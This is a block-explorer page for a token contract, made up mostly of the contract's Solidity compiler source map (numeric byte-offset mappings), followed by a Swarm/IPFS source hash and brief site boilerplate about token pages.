17;;3936:1;3929:8;;;3753:192;;;;;:::o;9397:1528::-;9489:4;9509:6;;;;;;;;;;;9506:63;;;9525:41;9540:6;9548:9;9559:6;9525:14;:41::i;:::-;9518:48;;;;9506:63;9585:14;:22;9600:6;9585:22;;;;;;;;;;;;;;;;;;;;;;;;;9584:23;:53;;;;;9612:14;:25;9627:9;9612:25;;;;;;;;;;;;;;;;;;;;;;;;;9611:26;9584:53;9581:127;;;9661:11;;;;;;;;;;;9653:43;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9581:127;9725:14;:22;9740:6;9725:22;;;;;;;;;;;;;;;;;;;;;;;;;9724:23;:53;;;;;9772:4;9751:26;;:9;:26;;;;9724:53;:84;;;;;9803:4;;;;;;;;;;;9782:26;;:9;:26;;;;9724:84;:105;;;;;9825:4;;;;;;;;;;;9812:17;;:9;:17;;;;9724:105;:142;;;;;9846:20;;;;;;;;;;;9833:33;;:9;:33;;;;9724:142;:180;;;;;9883:21;;;;;;;;;;;9870:34;;:9;:34;;;;9724:180;9720:372;;;9920:18;9941:20;9951:9;9941;:20::i;:::-;9920:41;;10009:15;;9998:6;9985:10;:19;9984:40;;9976:114;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9720:372;;10128:4;;;;;;;;;;;10118:14;;:6;:14;;;:49;;;;;10149:18;;;;;;;;;;;10118:49;:94;;;;;10185:16;:27;10202:9;10185:27;;;;;;;;;;;;;;;;;;;;;;;;;10184:28;10118:94;10114:299;;;10264:15;10237:13;:24;10251:9;10237:24;;;;;;;;;;;;;;;;:42;10229:91;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10380:21;;;;;;;;;;;10362:39;;:15;:39;10335:13;:24;10349:9;10335:24;;;;;;;;;;;;;;;:66;;;;10114:299;10425:28;10438:6;10446;10425:12;:28::i;:::-;10469:16;:14;:16::i;:::-;10466:35;;;10488:10;:8;:10::i;:::-;10466:35;10560:53;10582:6;10560:53;;;;;;;;;;;;;;;;;:9;:17;10570:6;10560:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;10540:9;:17;10550:6;10540:17;;;;;;;;;;;;;;;:73;;;;10627:22;10654:21;10668:6;10654:13;:21::i;:::-;10653:22;:51;;;;10680:24;10694:9;10680:13;:24::i;:::-;10679:25;10653:51;10652:108;;10717:43;10725:6;10733;10754:4;;;;;;;;;;;10741:17;;:9;:17;;;10717:7;:43::i;:::-;10652:108;;;10708:6;10652:108;10627:133;;10794:40;10819:14;10794:9;:20;10804:9;10794:20;;;;;;;;;;;;;;;;:24;;:40;;;;:::i;:::-;10771:9;:20;10781:9;10771:20;;;;;;;;;;;;;;;:63;;;;10869:9;10852:43;;10861:6;10852:43;;;10880:14;10852:43;;;;;;;;;;;;;;;;;;10913:4;10906:11;;;9397:1528;;;;;;:::o;3611:136::-;3669:7;3696:43;3700:1;3703;3696:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;3689:50;;3611:136;;;;:::o;3424:181::-;3482:7;3502:9;3518:1;3514;:5;3502:17;;3543:1;3538;:6;;3530:46;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3596:1;3589:8;;;3424:181;;;;:::o;3953:250::-;4011:7;4040:1;4035;:6;4031:47;;;4065:1;4058:8;;;;4031:47;4090:9;4106:1;4102;:5;4090:17;;4135:1;4130;4126;:5;;;;;;:10;4118:56;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4194:1;4187:8;;;3953:250;;;;;:::o;4209:132::-;4267:7;4294:39;4298:1;4301;4294:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;4287:46;;4209:132;;;;:::o;10937:330::-;11030:4;11067:53;11089:6;11067:53;;;;;;;;;;;;;;;;;:9;:17;11077:6;11067:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;11047:9;:17;11057:6;11047:17;;;;;;;;;;;;;;;:73;;;;11154:32;11179:6;11154:9;:20;11164:9;11154:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;11131:9;:20;11141:9;11131:20;;;;;;;;;;;;;;;:55;;;;11219:9;11202:35;;11211:6;11202:35;;;11230:6;11202:35;;;;;;;;;;;;;;;;;;11255:4;11248:11;;10937:330;;;;;:::o;11602:166::-;11699:12;;11689:6;:22;;:49;;;;11715:15;:23;11731:6;11715:23;;;;;;;;;;;;;;;;;;;;;;;;;11689:49;11681:79;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11602:166;;:::o;12388:197::-;12437:4;12475;;;;;;;;;;;12461:18;;:10;:18;;;;:38;;;;;12493:6;;;;;;;;;;;12492:7;12461:38;:62;;;;;12512:11;;;;;;;;;;;12461:62;:116;;;;;12564:13;;12536:9;:24;12554:4;12536:24;;;;;;;;;;;;;;;;:41;;12461:116;12454:123;;12388:197;:::o;12810:1776::-;6665:4;6656:6;;:13;;;;;;;;;;;;;;;;;;12859:27:::1;12889:60;12905:15;;12922:26;;12889:15;:60::i;:::-;:79;;12956:12;;12889:79;;;12952:1;12889:79;12859:109;;12979:23;13005:59;13062:1;13005:52;13048:8;;13005:38;13023:19;13005:13;;:17;;:38;;;;:::i;:::-;:42;;:52;;;;:::i;:::-;:56;;:59;;;;:::i;:::-;12979:85;;13075:20;13098:34;13116:15;13098:13;;:17;;:34;;;;:::i;:::-;13075:57;;13145:21;13183:1;13169:16;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13145:40;;13214:4;13196;13201:1;13196:7;;;;;;;;;;;;;:23;;;;;;;;;::::0;::::1;13240:4;;;;;;;;;;;13230;13235:1;13230:7;;;;;;;;;;;;;:14;;;;;;;;;::::0;::::1;13257:21;13281;13257:45;;13315:6;;;;;;;;;;;:57;;;13387:12;13414:1;13430:4;13457;13477:15;13315:188;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;13516:17;13536:40;13562:13;13536:21;:25;;:40;;;;:::i;:::-;13516:60;;13589:19;13611:40;13624:26;13648:1;13624:19;:23;;:26;;;;:::i;:::-;13611:8;;:12;;:40;;;;:::i;:::-;13589:62;;13672:26;13701:58;13757:1;13701:51;13740:11;13701:34;13715:19;13701:9;:13;;:34;;;;:::i;:::-;:38;;:51;;;;:::i;:::-;:55;;:58;;;;:::i;:::-;13672:87;;13770:26;13799:51;13848:1;13799:44;13831:11;13799:27;13813:12;;13799:9;:13;;:27;;;;:::i;:::-;:31;;:44;;;;:::i;:::-;:48;;:51;;;;:::i;:::-;13770:80;;13861:20;13884:38;13910:11;13884:21;13898:6;;13884:9;:13;;:21;;;;:::i;:::-;:25;;:38;;;;:::i;:::-;13861:61;;13936:15;13964:20;;;;;;;;;;;13956:34;;13998:18;14023:5;13956:77;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13935:98;;;14068:14;;;;;;;;;;;14060:28;;14096:12;14115:5;14060:65;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14044:81;;;;;14199:5;14186:18;;14238:1;14220:15;:19;14217:362;;;14255:6;;;;;;;;;;;:22;;;14285:18;14331:4;14355:15;14389:1;14409::::0;14429:21:::1;;;;;;;;;;;14469:15;14255:244;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14519:48;14531:18;14551:15;14519:48;;;;;;;;;;;;;;;;;;;;;;;;14217:362;6671:1;;;;;;;;;;;6683:5:::0;6674:6;;:14;;;;;;;;;;;;;;;;;;12810:1776::o;11776:114::-;11838:4;11863:11;:19;11875:6;11863:19;;;;;;;;;;;;;;;;;;;;;;;;;11862:20;11855:27;;11776:114;;;:::o;11898:482::-;11978:7;12000:18;12021:3;12000:24;;12038:6;12035:64;;;12073:14;;12060:27;;12035:64;12112:17;12132:62;12183:10;12132:46;12169:8;;12132:32;12160:3;12143:14;;:20;12132:6;:10;;:32;;;;:::i;:::-;:36;;:46;;;;:::i;:::-;:50;;:62;;;;:::i;:::-;12112:82;;12234:39;12263:9;12234;:24;12252:4;12234:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;12207:9;:24;12225:4;12207:24;;;;;;;;;;;;;;;:66;;;;12314:4;12289:42;;12298:6;12289:42;;;12321:9;12289:42;;;;;;;;;;;;;;;;;;12351:21;12362:9;12351:6;:10;;:21;;;;:::i;:::-;12344:28;;;;11898:482;;;;;:::o;4347:345::-;4433:7;4532:1;4528;:5;4535:12;4520:28;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4559:9;4575:1;4571;:5;;;;;;4559:17;;4683:1;4676:8;;;4347:345;;;;;:::o

Swarm Source

ipfs://0d37e768aa37ef5db054717567206a9a74f5a547fc5d259744e3fed2627bd869
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.